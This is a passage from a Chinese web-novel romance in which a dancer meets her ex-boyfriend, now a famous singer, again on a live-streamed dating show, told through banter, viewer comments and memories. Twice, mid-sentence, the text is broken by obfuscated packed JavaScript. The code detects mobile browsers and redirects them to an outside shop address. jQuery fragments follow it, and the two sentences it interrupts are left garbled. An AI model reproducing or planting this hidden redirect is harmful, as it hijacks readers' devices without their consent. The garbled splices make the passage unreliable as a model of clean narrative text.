“我刚才洗了草莓,等下过来吃哦。”温璐帮时缈挽好袖口。 时缈点头:“好。” 打开水龙头的时候,时缈像是感应到了什么似的,下意识朝餐厅门口的方向望去。 却恰好和不知道为什么落在最后的许钧闻的视线撞在了一起。 许钧闻的目光仍旧只在她身上停留了一瞬,随手拧开手里的冰镇矿泉水,边喝边朝客厅走去。 哦。 原来是在找水喝。 刚吃完饭就爱喝冰水的习惯还是一点都没改。 时缈垂眼用水仔细地将洗洁精泡沫冲洗干净。 虽然需要清洗的餐具并不少,但四五个人流水线作业,耗费地时间也并不算很长。 待时缈等人回到客厅,祝意安再次承担起了控场cue话题的任务:“各位在家里会自己做家务吗?还是会请上门保洁负责打扫?” 问题问得很日常,也很巧妙。 既能够让蹲守直播间看自己偶像的粉丝们了解偶像私下里的日常生活细节,又能够让素人嘉宾们互相加深对其他人的了解。 “我本来说家里的家务留着我做,或者我负责请定期保洁,但我老婆觉得家务还是要两个人一起做更有家的感觉。所以每次我们两个人都休息在家的时候就会一起做家务,既打扫了房子也增进了感情。” 程子归笑起来,每次提起他的妻子,他的眉眼总是不自觉地挂上宠溺的笑,引得观众们一片羡慕的尖叫。 “果然是娱乐圈模范夫妻,”青葭捧着下巴,冒着星星眼,“真羡慕呀。” “你呢?” 程子归转头问许钧闻,娱乐圈里混饭吃的都是人精,他当然知道观众们更想听的是什么:“印象里搞创作的艺术家都不是很擅长做家务,钧闻你该不会也是其中之一吧?” “以前家里人从来不洗碗,说不喜欢洗洁精的触感,所以都是我洗。所以别的家务不敢说,但洗碗这事我绝对熟。” 许钧闻抬眼,眸子里蕴着众人察觉不出的微妙:“我倒是没享受过有人主动揽下洗碗这活儿的日子呢。” 4. 4首情歌 这话在其他嘉宾耳朵里听起来似乎没有什么问题,青葭甚至自然地接过话头打趣许钧闻:“原来偶像的真实家庭生活也这么接地气哦”。 可偏偏坐在离许钧闻最远的位置、用其他嘉宾挡住视野里许钧闻的身影的时缈不由自主地抬手揉了揉鼻子。 她总觉得许钧闻这句话听上去有些阴阳怪气。 的确。 以前一起在许钧闻那个小出租屋住的时候,家里的碗从来都是他洗的。 时缈总是会撒娇抱怨洗洁精沾到手上的触感很难受、戴着橡胶手套洗东西闷得皮肤很不舒服、隔着手套把握不住力道担心会把碗摔碎…… 总之她总能想出无数理由去逃避洗碗这件事,而许钧闻也总会在听完她的借口之后露出那副“果然如此”的无奈笑意,然后如她所愿包揽下洗碗的任务。 可他们都分开这么久了,时缈觉得自己不应该这么自作多情地认为许钧闻现在口中说的“家里人”还会是自己。 于是身影更加向后靠了靠,以免自己有任何不大自然的表情被房间四处固定着的摄像头捕捉到。 许钧闻看向时缈所坐的方向—— 却被白景川的身影挡住了视线。 许钧闻压下内心的烦躁,舌尖抵在齿关上碾了碾,搭在腿上修长的手指有一搭没一搭地敲打膝盖—— 如果时缈此时的视线没有被遮挡,就会发现,这是许钧闻心情不好时常常下意识会做的动作。 首日录制的主要目的是为了让嘉宾之间相互熟悉一下,因此并没有安排太多环节,众人在沙发上简单聊了一阵,客厅中蓝牙音箱就传来了导演的声音。 通知嘉宾们今天的直播结束,等下会有工作人员分别带领他们去别墅后院的小屋里进行单独备采。 节目组准备的问题并没有很刁钻。 时缈在听见工作人员问出“第一天见面之后对哪位嘉宾的印象最深”之后,露出了一个狡黠灵动的笑:“温璐吧。你们也没说一定要说一个异性嘉宾啊。” 工作人员被这个意料之外的答案逗笑,而后又问了下一个常规问题:“那接下来,你最想和哪个嘉宾进行约会、继续深入了解一下?” 念完之后还不忘补充一句:“这次必须要说一个异性哦。” 时缈歪了下头,并没有给出一个非常确切的答案:“目前对每个嘉宾都还不是很了解,但我觉得大家都是很好的人,所以接下来和谁约会我都会蛮期待的。” 见时缈没有给出特别清晰的答案,工作人员索性换了一个方向引导话题:“那可以说说你比较喜欢哪种性格的男生吗?” 对上工作人员“麻烦一定要展开说说”的表情,时缈略一思考,总结道:“比较温和、成熟,脾气比较好的那种类型吧。” “看来你是比较喜欢能包容你的类型咯?”工作人员笑着问道。 时缈的眼睑垂下来,遮住了她眼底的神色。 二十岁时的许钧闻,桀骜、锋利,任谁第一眼看上去,都不回觉得他会是“脾气好”的那种类型。 可时缈和他在一起的那些日子里,许钧闻却给予了她无与伦比的包容和偏爱。 时缈停顿了短短一瞬。 随即很快就重新抬眼看向摄影机,浅笑着点点头:“对啊,如果是要长期相处的话,我应该还是比较想找一个包容温柔脾气好的人啦。” * 结束采访,沿着来时的路往别墅内走去的时候,时缈恰好遇到前来备采的白景川。 “结束了?”白景川率先同她打招呼。 时缈点点头,看向自己五分钟前在备采间被自己列为“接下来最想深入了解的异性”的白景川,心情还是有些微妙——有种拿人家当挡箭牌用的心虚感。 白景川停在离她两步之遥的位置,依然是那副谦和有礼的模样:“等下应该就会发这次节目的第一条匿名消息了。” 节目组规定,每天晚上素人嘉宾们都有一条发送图文消息给其中一位异性嘉宾的机会,该消息全部为匿名发送,既收到消息的嘉宾不会被告知究竟是哪一位,或是哪几位异性给自己发送的消息。 而明星观察团们则会提前在别墅顶层的书房里预测今晚素人嘉宾们收发短信的情况,全部预测正确的明星嘉宾可以获得节目组的特殊道具。 时缈后知后觉地反应过来—— 那许钧闻岂不是会知道她的消息发给了谁,甚至有可能会直接看见她所发消息的内容? 救命。 光是想想这个场景,时缈就已经尴尬地想在花园里找个坑把自己埋起来了。 她上辈子到底是做了什么孽,这辈子要在前任的眼皮子底下和别的男性聊天约会啊! “你还有一点时间可以想想要发什么内容。” 不远处的工作人员朝白景川招手,他点点头,这才重新抬步离去,和时缈擦身而过时,留下一句:“早些休息,晚安。” 晚什么安。 时缈崩溃地想。 她今晚怕是要做噩梦了才对。 伴着院子里隐隐约约的鸢尾香气,时缈心事重重地推开了别墅的门。 玄关的感应灯自动亮起,时缈换上拖鞋走进去。 一楼安安静静,似乎所有人都已经回了房间——可客厅的灯却依然亮着。 时缈还以为是其他人上楼前忘记关灯,与此同时心里还小小地松了口气: 她有夜盲,虽然不算特别严重,但毕竟她是第一天入住这个别墅,免不了有些担心摸黑进门时会撞到节目组的设备。 但这松了口气的感觉还没维持过五秒。 她就在拐角处看见了端着杯子站在床边的许钧闻。 …… 她还不如去撞设备! 时缈下意识抬头去找附近的摄影机位。 下一秒,就听见前方一声漫不经心地轻嗤:“一楼的设备都关了,拍不到。” 时缈一怔,抬头看向说话的人。 许钧闻修长的手指握住手里的玻璃杯,拇指在杯壁上轻轻摩挲,对上她有些惊诧的眼神,微皱了下眉:“怂什么。” 以前恨不得踩在他头上摘星星摘月亮的人,国外“闯荡”几年不见,胆子怎么还越长越小了。 一整天了,许钧闻终于有时间和机会仔细打量时缈。 “许……老师。” 时缈差点就要直呼许钧闻的姓名了。 但对上许钧闻皱眉看她的表情,又赶忙刹住车,将即将脱口而出的后两个字咽回喉咙里。 “许老师您放心,我一定全力配合,绝对不露出任何马脚。” 时缈觉得自己的语气极其、特别、非常的诚恳。 但许钧闻看起来还是一脸不满意的样子。 “配合什么?”他问。 时缈秒回:“绝对不让广大观众,尤其是您的粉丝,察觉到我们两个的关系!” “我们两个什么关系?”许钧闻继续问。 时缈一愣。 “没关系,什么关系都没有。” 时缈摆手。 原本只有他们两人的别墅一楼大厅似乎在一瞬间莫名变得拥挤起来,逼仄得令她不想继续在这里待哪怕一秒钟。 “不早了,我先上去了。” 她快步从许钧闻身边走过。 擦身而过时,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177613|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣摆带起了一阵轻轻的风,从许钧闻的手臂上抚过去。 在他的皮肤上短暂的停留了一瞬。 而后毫不拖泥带水地离去。 许钧闻偏头看着时缈消失在拐角处的身影,目光幽深。 “许老师还没休息?” 玄关处的门再次被人打开,一道温润的男声出现在他身后。 许钧闻回头。 是那个刚才在外面花园小径上和时缈单独聊了几句的男嘉宾。 叫什么来着?他没记清。 但他记得,下午和时缈一起外出做节目组采购任务的也是这个男人。 “嗯。” 许钧闻淡淡地点点头,举了下手里的水杯示意自己只是下楼接杯水喝,目光意有所指地落在面前男人手里捏着的手机上。 “楼上还在播,先上去了。”许钧闻撂下这么一句,不等对方回应便率先转身上楼。 * 别墅四楼的会客室内,四位观察员围坐在一起,正前方一块液晶屏幕上,素人嘉宾们的个人照按性别及入住顺序分别排列在屏幕的两侧。 “白景川和周璨今晚会把短信发给时缈,这个大家应该没意见吧?” 祝意安拿起一支签字笔,在两位被点到名的男嘉宾照片和时缈的照片之间画了两个箭头。 “那么问题来了,时缈今晚的短信会发给谁啊?” 虽然是个人战,全部预测正确的嘉宾获得节目组“神秘道具”,但规则里并未禁止观察团成员们互相商量。 因此,祝意安等人原本的策略是:大家一起预测,预测正确后一起得到节目组道具,就算预测失败,所有人仍然在同一起跑线上。 赢了血赚,输了不亏。 “白景川吧。”青葭率先回应,“他们两个今天不是相处了一整天吗?在没有和其他男嘉宾有深入了解的情况下,她应该会给第一天接触得比较多的男嘉宾发消息吧。” 程子归点头表示同意。 所有人转头看向一言未发的许钧闻。 “许老师,你觉得呢?” 许钧闻的目光在屏幕上逡巡两圈,出乎所有人预料地选择了另一个今天几乎没有怎么和时缈互动过的男嘉宾。 “我觉得是薛明浩。” “???” 三脸懵逼。 “小薛今天一整天几乎都没跟时缈说过话哎?”祝意安瞪大眼睛,“时缈怎么会发给他啊?” 许钧闻耸肩“猜的。” 与此同时,直播间画面也快要被铺天盖地的问号给淹没。 就在祝意安还想要试图说服许钧闻的时候,只见许钧闻已经完成了自己的预测,并将自己的预测结果交给了一旁的工作人员。 卡片上的内容被原原本本地展现在直播镜头下。 看着许钧闻毫不犹豫地在时缈的照片背后画上了一个指向薛明浩的箭头后,弹幕彻底爆.炸—— 「许钧闻居然是认真的??」 「乐,这是要把不会写情歌的人设贯彻到底了啊,任谁都不会猜时缈会给薛明浩发短信的吧?」 「许钧闻,恋综喜剧人石锤了。」 一旁的程子归收回偷看许钧闻“答题卡”的目光,知道这位小爷恐怕是铁了心不会和大家统一答案了,索性也低头刷刷两下也完成了自己的预测,笑着还在纠结中的祝意安和青葭说道: “个人战嘛,咱们就尊重许老师的判断和选择。况且,既然有许老师给大家托底了,你们也不用这么纠结了,大胆猜就是咯。” 许钧闻挑了下眉,语气散漫。 “是吗?” “那我们拭目以待啊。” 5. 5首情歌 楼上观察团嘉宾预测结束后,直播间的镜头切到了素人们的房间。 趴在自己床上神色严肃的时缈还不知道,此时节目组直播间里蹲守着的观众们几乎都是冲着她来的。 「让让,让让,我要在前排坐等许钧闻打脸现场!」 「虽然猜到我哥的恋爱神经可能有点粗,但我的确是没想到,正确答案的范围已经缩小这么多了,他还是义无反顾地冲出了安全区。反向跑毒了属于是。」 「你们怎么都这么确定时缈小姐姐会选直球哥或者小奶狗啊,万一人家最想了解的真的是小薛,只是没有找到机会呢?」 「?怎么还真有人信许钧闻那小子的啊?他可是连情歌都不会写的主哎!」 “嘉宾们可以开始编辑今晚的短信了。” 工作人员的声音从房间角落里的印象中传来。 素人选手们需要将短信发送给节目组指定的号码,附上收信人和发信人,再由节目组的工作人员去掉收发人的姓名后分别转发给各位嘉宾。 和时缈同住一屋的温璐见时缈攥着手机迟迟没有动静,还以为是她没有想好今晚的消息发给谁,主动凑过去拍了拍她的肩:“放轻松,跟随自己的心情发就好啦。” 时缈叹了口气。 令她痛苦的是不知道该给谁发消息吗? 令她痛苦的是她的信息内容会被前男友一字不落的看见啊! 突然就有些后悔答应参加这档节目了。 “你已经想好发给谁了吗?”时缈看向温璐。 温璐点点头:“周璨吧,今天我是和他一起做的任务嘛。” 说罢,温璐又摆了摆手:“你不用顾忌我哦,我知道周璨好像对你更有好感一些。” 时缈伸手握住温璐的手,轻轻摇了摇。 “我是觉得,今天我其实和大家沟通的也不是很多,”时缈既是在跟温璐解释,也是借此机会向直播间的观众们解释,“从礼貌上来说大概应该发给白景川的,但我又担心这样会不会给他传递出一些错误的信号……” 温璐了然:“大家都是成年人了,如果他会因为你第一天的短信没有发给他就放弃和你深入了解的话,这不也算是变相筛选出和你不合适的人了?” 弹幕听见温璐的话,纷纷留言支持她的观点: 「没错,第一天的短信又不能代表什么,有可能是出于一起做任务的礼貌,也有可能只是单纯没有和其他人有过多交流所以只能给今天说过话的嘉宾发而已啦。」 「又不是发完这条短信就要结婚,不要对恋综嘉宾太苛刻啦,现实生活中有多少人会仅凭一次相处就和某个异性绑定关系啊?」 「就喜欢这种女孩子之间互相体谅和和美美的场面,比隔壁某综艺氛围好多了。(说谁谁知道哈,欢迎对号入座)」 「附议,隔壁台同类型综艺里雌竞的剧本味儿都要冲出屏幕了。」 时缈抿了抿唇,而后放开温璐的手,解锁了节目组给嘉宾们统一配置的手机。 “想好发给谁了?”温璐的眼里闪过一丝八卦的光芒,“能说不?” 弹幕再次迎来了一波刷屏的小高.潮: 「来了来了!揭秘时刻到了!买定离手啊!」 「本来我还觉得许钧闻必输无疑,但听了两个女嘉宾的对话之后我怎么觉得……」 时缈发完消息,抱着枕头翻了个身,抬头望着摄像头一脸真诚:“现在能说吗?能的话就点点头。” 在弹幕一片“哈哈哈”和“好可爱”中,节目组的摄影机缓缓左右摇了摇。 * “那么接下来,激动人心的时刻到了——” 节目组工作人员拿着一个信封出现在四楼会客厅:“楼下嘉宾们的短信互发情况以及短信内容现在已经在我们的手里了。” 直播画面外,导演举了举手里的饮料瓶。 示意场内嘉宾可以开始做植入口播了。 “我都开始紧张了。” 祝意安心领神会地拿过手边的瓶子,拧开盖子,将赞助商的品牌logo对着摄影机完整地露出来:“稍等一下,先让我喝一口水压压惊。” “安安姐,你那瓶是什么口味啊?”青葭按照之前节目组给定的广告台本往下说词。 祝意安喝了一大口:“青提茉莉,很清爽的味道呢。” 一边的程子归也拧开自己手里的瓶子,喝了一口之后,拿捏了一个可爱又不失夸张的语气:“我这杯是柠檬红茶,味道也很不错哎!” 弹幕的网友们几乎要被嘉宾们浮夸而生硬的植入笑死: 「看妹妹的表情,只要我不尴尬,尴尬的就是别人!」 「好好好,都是为了工作,我懂的。」 「所以为什么只有许钧闻这么不合群!我也想看许钧闻被迫营业念广告!在这么生硬且浮夸的广告面前我不信还有人能绷住不笑!」 「前面的,许粉给你科普一下,这位哥身上有同类竞品的代言合约,不能给甲方爸爸的对家打口播hhhhh」 「怪不得……这哥从头到尾是一口都没喝过啊!可以,十分敬业的代言人了23333所以他代的是哪个牌子?我去买点尝一尝。」 「赞助商:??怎么回事??到底谁才是这个节目的赞助商啊!!」 忍着头皮发麻的感觉播完了广告,程子归立刻转移话题:“所以我们接下来是不是要正式公布预测结果了?” 副导演老神在在地点点头,表情却满是兴奋和激动—— 整理短信情况的时候他和导演两个人都快要乐死了好嘛!没想到他们这个节目第一天就能遇上这么好的爆点!录播版的预告和分集该怎么剪他们都想好了! “咳咳,好的,接下来就由我给大家公布一下今晚嘉宾们的短信收发情况。” 节目组很懂如何吊起观众的胃口,先是将大家没有分歧、预料之中的结果一口气全部公布出来,直到弹幕越滚越多,副导演才缓缓念出最后一个名字:“那么,现在就剩最后一位嘉宾了。” “之前,大家已经猜对了,白景川和周璨两个人都将短信发给了时缈。” “观察团们今晚的猜测结果唯一的分歧是时缈会将短信发给哪个男嘉宾。” “四个观察团成员中,除了许钧闻老师之外的三个人都选择了白景川……”副导演顿了顿,笑吟吟地看向许钧闻,“而咱们许老师选择的答案是,薛明浩。” “那么现在来公布时缈发送短信的结果——” “她将入住别墅第一晚的互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177614|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动短信发给了——” 在一阵漫长的的停顿之后,副导演一字一顿:“薛!明!浩!” 「???」 「??????」 「vocal?你说谁?」 「笑死,副导演刚才的沉默不是故意营造氛围,而是他也确实没想到这都能让许钧闻给蒙对是吧hhhh」 “好的,让我们恭喜许钧闻老师,成为今晚唯一一个预测对所有嘉宾短信收发情况的观察员!并且获得了第一个节目组的特殊道具!” 实时弹幕出现了短暂的一瞬停滞,而后被铺天盖地的疑问所充斥: 「真发给了小薛?他俩今天完全是零交流啊!!」 「我以前总觉得恋综是刻意剪辑掉一些嘉宾们的互动细节,误导观众从而产生话题吸引眼球……但,这节目是直播啊……!总不能是这两位在镜头拍不到的地方有什么交流了吧!」 「还真被许钧闻这小子猜准了!?」 “谁?” 不光直播间的观众梦一头雾水,现场除了许钧闻之外的其余观察员也是一整个瞳孔地震。 “你确定吗?真没念错?”程子归就差当场站起身亲自去确认副导演手里的信封里的内容,“真是薛明浩啊?” “完了,是我不懂爱情了。”青葭摇摇头,“完全看不出时缈是什么时候对薛明浩有好感的爱,果然,这不是我这个单纯的母胎solo能理解的世界。” 「妹妹别说你母胎solo不理解了,连已婚人士程老师都看不懂这个展开啊!」 「不是……只有我一个人觉得这个时缈可能是故意的吗?说不定就是想靠这个节目吸引流量然后当网红吧?」 「yue了,明眼人都看得出来白和周对她有意思吧,和白接触了一天,吃饭的时候又坐在了周的对面,晚上短信又发给了薛,好家伙,这姐是来鱼塘管理的吧?」 一直坐在位置上,既没有因为自己的胜利而沾沾自喜,也没有趁机打趣其他嘉宾的许钧闻,目光凉凉地从青葭身上掠过去。 对上许钧闻意味不明的眼神,青葭本能地收回了原本想要继续说下去的话。 “真有意思。” 许钧闻慢条斯理地开口,所有人的目光就都聚焦在了他的身上。 “如果我没理解错的话,这只是一条匿名短信而已,不是情书或者结婚证吧?” 「就是,人家乐意发给谁发给谁,谁说一定要在节目里找对象的?说不定人家女嘉宾谁都没看上呢?」 「虽然许哥这态度有点差吧……但我觉得他这话说得也没毛病,节目里的异性就这四位,人家要是真没遇上喜欢的总不能强行让人家选一个绑cp吧?」 「态度怎么差了?不是青葭先卖单纯人设的吗?都混娱乐圈了,还搞什么单纯小白花那套啊?」 丝毫不知道自己这话又在弹幕上掀起了怎样的“血雨腥风”,许钧闻抱着手臂弯了下唇角: “而且我觉得,节目组这个强制发送短信规则有个弊端啊,万一人家实在没有想发短信的人怎么办?硬发的话岂不是会让观众和异性嘉宾误会。” “要不干脆把观察员的号码也放进去好了。” “实在不想发给其他人的话就发给我得了。” 6. 6首情歌 迷迷糊糊醒来,第一眼看见对面床上裹着被子只露出一个后脑勺的温璐时,时缈恍惚间还以为自己回到了当年在舞团住宿舍的日子。 当然,当时的她还不够资格住如此宽敞的宿舍。 而是只能和几个同样是新进舞团的亚裔姑娘,挤在一个只摆得下三张上下铺、连阳台都没有的逼仄小屋里。 都怪昨晚的那个梦。 时缈翻了个身,盯着天花板,游荡天外的神思渐渐回归。 其实她已经很少,真的,很少梦见许钧闻了。 刚出国头两年,白天要面对无法融入的外国演员们的小圈子,排练结束后还要马不停蹄地去华人餐饮店打工,好不容易回到宿舍,洗漱完毕后蹑手蹑脚地躺在床上,累到眼皮都快睁不开的时候,时缈几乎每晚都会做梦。 做梦成为了她当时唯一的,能够短暂逃离现实的法子。 而梦里,她还是那个无忧无虑的女大学生,每天所要思考的最重要的两件事就是今天的体重上涨了没,以及下课之后要和男朋友去哪里约会。 梦里许钧闻还是十九二十岁的模样,锐利的眉目总会在看见她的那一瞬间柔和下来。 他会在吃完晚饭后,天色刚刚暗下去的时候,抱着吉他给她轻声哼唱一些旋律。有的是他自己写的,有的是他最近听过后新喜欢上的。 偶尔,她会在某些激素水平飙升的深夜里梦见更直白的画面。 某个夏日闷热的午后,两具年轻的身体在虽然不甚宽敞但却被精心收拾过的出租屋里汗涔涔地拥在一起,房间角落里立式风扇无可奈何地摇着头。 事后时缈总会贪凉,大喇喇地踢开薄被,光洁的脊背毫无防备地横在在风扇带起的气流之下,已经没有了方才起伏挣扎的力气,她恹恹地枕在许钧闻的手臂上,侧耳听着他脉搏有力地跳动,任由皮肤上的薄汗被快速吹干,潮热褪去,剩下一片微凉的冷缎。 “盖好被子。” 梦里许钧闻的声音有些朦胧,久违的带着蛊惑似的诱哄。 少数时候,她也会梦见两人争吵的场景。尚未完全学会如何相处磨合的爱人之间针锋相对,寸步不让。 于是醒来后,轻易就会被室友发现她泛红的眼角和像是蓄着泪的眸子。 而时缈只是温柔地摇摇头,回避室友关切的询问:“大概是昨晚睡得太晚了吧。” 后来,许钧闻凭借着一首为某游戏的全球总决赛创作的年度主题曲一炮而红。 那阵子,连国外的街头都会播放他的歌曲。 打工路上,时缈总会忍不住放缓脚步,在繁华的街头广场将一整首歌听完之后,再匆匆投入自己一团乱麻的生活里。 从那之后,时缈能在越来越多的地方刷到他的视频,看到他的广告大片。 但奇怪的是,在生活中越来越经常看见许钧闻之后,时缈反倒越来越少梦见他了。 以至于重温了昨晚那个漫长细碎的梦之后,令时缈产生了一瞬间的恍惚。 窗外的天色泛着浅浅的清灰。 时缈小心翼翼地起身,趿着拖鞋下楼,拐进厨房里。 时间还早,其余人大概都还在睡着,因此偌大的安静的别墅此刻显得格外空荡。 时缈拉开冰箱,拿出几颗鸡蛋和一包吐司,又找到一包冷冻的虾仁,想到自己反正起得早又闲着,便决定顺手给大家准备点简单的早餐。 她决定喝杯水就开工——每天早起一杯温水是她从小就养成的生活习惯了。 刚把一个水壶端起来,就听见厨房门口传来的声音: “冷的。” “温水是旁边那个。” 时缈的动作僵硬了一瞬,抬头看向许钧闻:“……谢了。” 或许是因为昨晚才梦见过这位,起来之后又直接撞上了正主本人,时缈感觉有点心虚。 许钧闻只在厨房门口出现了那一瞬就离开了,时缈垂着眸子剪开袋子倒出一部分虾仁,泡进水里解冻。 然后靠在流理台边慢吞吞地喝水放空。 “滑蛋虾仁?” “!!” 去而复返的声音吓得时缈差点一个手抖把杯子扔进水池里。 她皱着眉回头,语气嗔怒: “干嘛啊许钧闻?吓死人了。” 话音一落,厨房静得连根针掉在地上都能听见。 她下意识的反应太过自然熟稔。 幸亏此时没有第三个人在场,否则一定会察觉到异常。 时缈心虚地朝着其中一个摄影机的方向瞥过去,再次确认了机器上方的小红点并没有亮起,这才悄悄松了口气。 “抱歉。”她轻声。 许钧闻:“抱歉什么?” “刚才吓了一跳,没反应过来。” 时缈的目光落在碗里的虾仁上。 青白僵硬的冷冻虾仁在水中缓缓脱去了冰冷的外壳,露出软嫩的细肉,冰霜解冻时产生的小气泡顺着碗壁悄悄冒上来,在接触到空气的那一刻,悄无声息的破碎开来。 许钧闻“嗯”了一声,拿起时缈之前从冰箱里拿出的鸡蛋,又从橱柜里取出一个碗。 “我来吧。” 他的语气没什么变化,好像只是随口跟她讨论了句今天窗外的气温如何似的:“你那个水平。” “啪”“啪”两声,脆弱的蛋壳碰撞在碗沿上,蛋清顺着裂缝淌下来。 她喜欢吃虾仁滑蛋,但她自己做滑蛋控制不好火候,以至于总是把好端端的一份滑蛋做成了熟透的炒鸡蛋。在尝试过几次都以失败告终之后,在家做虾仁滑蛋这道菜的任务就彻底属于许钧闻了。 “我现在技术比以前好多了。”她忍不住为自己正名。 “是吗。” “那下次交给你。” 许钧闻动作不停,发出的声音被打蛋声敲成一段一段的。 时缈觉得自己实在无法继续和许钧闻单独待在同一个空间里,擦了擦沾着水珠的手,想走。 许钧闻头都没回,却像是感应到了她的想法。 “跑什么。做贼心虚了?” 时缈垂着眼睛不吭声。 她的确心虚。 六年前头也不回决绝离开的是她,六年间总被回忆绊在原地的也是她。 许钧闻的动作在时缈看不见的角度微不可查地一顿:“你不是说不会暴露我们之间的关系吗?” “你现在见我就跑,让观众看见了会怎么想?万一有人以为是我在私下里对你做了什么你才像躲洪水猛兽似的躲着我,甚至我的黑粉以此发散编造一些莫须有的谣言扣在我头上,对我的名誉可是会造成很大影响的。” “抱歉,我没想到这些。” 时缈觉得许钧闻考虑的也不无道理。 她昨天才说过不会暴露自己前女友的身份给他添麻烦的。 “那,喝咖啡吗?许老师。”她主动递了个台阶。 再次听见许钧闻“嗯”了一声,她逃避似地俯身,找出节目组提前准备的咖啡豆,背过身摆弄起咖啡机。 面前时咖啡豆被磨成粉末后散发出的醇厚香气。 身后是许钧闻力道均匀速度适中的打蛋声。 熟悉得令她心惊肉跳。 她忽然明白了初中课堂上,语文老师带着怅惘和叹息的那句—— 当时只道是寻常。 * “哇——好幸福,一下楼就有早餐吃。” 餐桌上摆着两盘烤好的吐司,几罐打开瓶盖的果酱,几个胖圆形状的太阳蛋,还有分装成两盘的虾仁滑蛋。 时缈刚把手里最后一个盘子放在桌上,就听见其他嘉宾陆续下楼的声音。 刚才工作人员已经通知了所有人直播镜头已经打开,四周闪着小红点的机器将所有人圈在画面里。 “都是你做的啊时缈?” 说话的是是昨晚住在另一个房间的女嘉宾,罗艺亭。 “不是不是,大部分是许老师亲自做的,”时缈指了指桌上的简单和虾仁滑蛋,“我就打了个下手。” 「嘿!没想到我老公居然会做饭!」 「节目组不行啊,做饭的镜头居然不给我们直播!」 「说不定是准备剪到录播版里呢,我不信节目组居然会放过这么好的素材。」 坐在监视器后面,一边看机器拍摄的画面一边在直播间内潜水观察风向的导演组:呵呵,你们以为是我们不想拍吗?是某位祖宗的经纪人专门打电话来说不让拍的好吧! “那我们可真是有口福了,居然能吃上许老师做的早餐。” 罗艺亭拉开椅子坐下。 不知是有意还是无意,她选的恰好是许钧闻对面的位置。 “咖啡也是许老师准备的吗?”罗艺亭指了指桌上的两杯咖啡——一杯在许钧闻手边,另一杯放在桌子中央,靠近时缈位置的一侧。 时缈一边往吐司中间夹滑蛋一边随口应了句:“厨房里有咖啡机。” “刚好我也有早起喝咖啡的习惯呢……”罗艺亭自然地伸手要去拿时缈面前的那杯咖啡。 罗艺亭的话还没说完,许钧闻忽然抬眼: “拿铁?” 时缈点头,特意解释:“厨房里只有燕麦奶。” 她记得许钧闻的口味偏甜,还以为许钧闻是嫌这杯咖啡偏苦不想喝,但别墅厨房里今天只有零糖的燕麦奶了。 “你那杯呢?” 许钧闻的目光落在时缈面前的杯子上。 “美式。” 抑制食欲还能消水肿。 她从上大学起,早餐别的可以没有,冰美式是雷打不动。 不过这些事,许钧闻大概已经忘了吧。 许钧闻将自己手边的杯子推到时缈面前:“还没喝过,换换?” 时缈愣了一下,再次强调:“许老师,这杯是美式。” 许钧闻点头:“知道啊,能换吗?” “可以啊。”时缈将自己面前那杯美式咖啡推过去,亲眼看着许钧闻端起来喝了一口。 她记得许钧闻以前是打死都不肯碰一口她的冰美式的。 某一次,她托着下巴朝他撒了好一阵的娇,许钧闻才皱着眉勉为其难地尝了一口她的咖啡,然后给出了一句锐评:“家里刷锅水都比这个好喝。” 六年不见,他的变化还真是大。 连以前最不能接受的美式咖啡都能面不改色地喝下去了。 无形中被两人的话题隔绝在外的罗艺亭面色一僵,转头朝刚准备落座的另一位男嘉宾笑笑:“我也想去做一杯咖啡喝,一起吗?” “许老师还有什么需要我们一并拿过来的吗?”临走前,罗艺亭不死心似的再次问道。 “我就不用了。” 许钧闻面不改色地喝了一口面前的拿铁:“你可以帮黄豆准备一下早餐。” 黄豆。 别墅里那条小金毛。 温顺可爱还亲人。 “……好的许老师。” 罗艺亭转身离开餐桌旁,生怕自己晚走一秒表情就会彻底维持不住。 早餐结束后,男嘉宾们跟随节目组的车子提前离开别墅,而女嘉宾们则收到了节目组送上的新一天的任务卡—— 【别墅三层休闲区有男嘉宾们亲手调制的香水,请女嘉宾们各自挑选一瓶自己喜欢的香水,并根据香水瓶底的编号找到对应的约会地点参加今日的约会。】 四位女嘉宾依言上楼,观察团们则再次聚在四楼会客室里,通过直播间观察三楼的约会分组情况。 “导演组,约会分组猜对的会有道具吗?”青葭举手提问,“许老师到现在都没告诉我们他昨天获得的道具究竟是什么呢。” “保持一点神秘感,用的时候不就知道了。”许钧闻靠在椅背上,一副完全不想提起“剧透”的样子。 “这次约会分组不需要观察员预测哦,所以不会设置道具奖励。至于是否公布道具的具体作用也是嘉宾个人的权利,其他老师获得道具之后也可以不告诉大家的。” 导演组笑眯眯的。 摆明一副要顺着许钧闻的意思了。 开玩笑,许钧闻可是他们这个节目最大的咖,虽然他目前只签了两期的合同,但说不定录到一半他又改主意了呢?他们自然是要把许钧闻这位爷伺候好的。 “关于道具我还有个问题,”程子归看向导演组,“我们各自获得的道具能不能相互交换或者转赠?” “当然可以。”导演点头。 “各位老师还有其他问题吗?” 众人摇摇头,将目光聚集在房间中央大屏幕上所显示的直播间内。 ——三楼的休闲区内。 四个女嘉宾坐在沙发上,面前的小茶几上摆着四个铺着拉菲草的小盒子,每个盒子里都躺着一个玻璃小瓶。 小瓶们造型各不相同,有规规矩矩的长方形,也有配着花朵型盖子的胖圆形,足见男嘉宾们在容器选择上也是花了不少心思的。 时缈的目光扫过面前的四个瓶子,弯了弯眉眼。 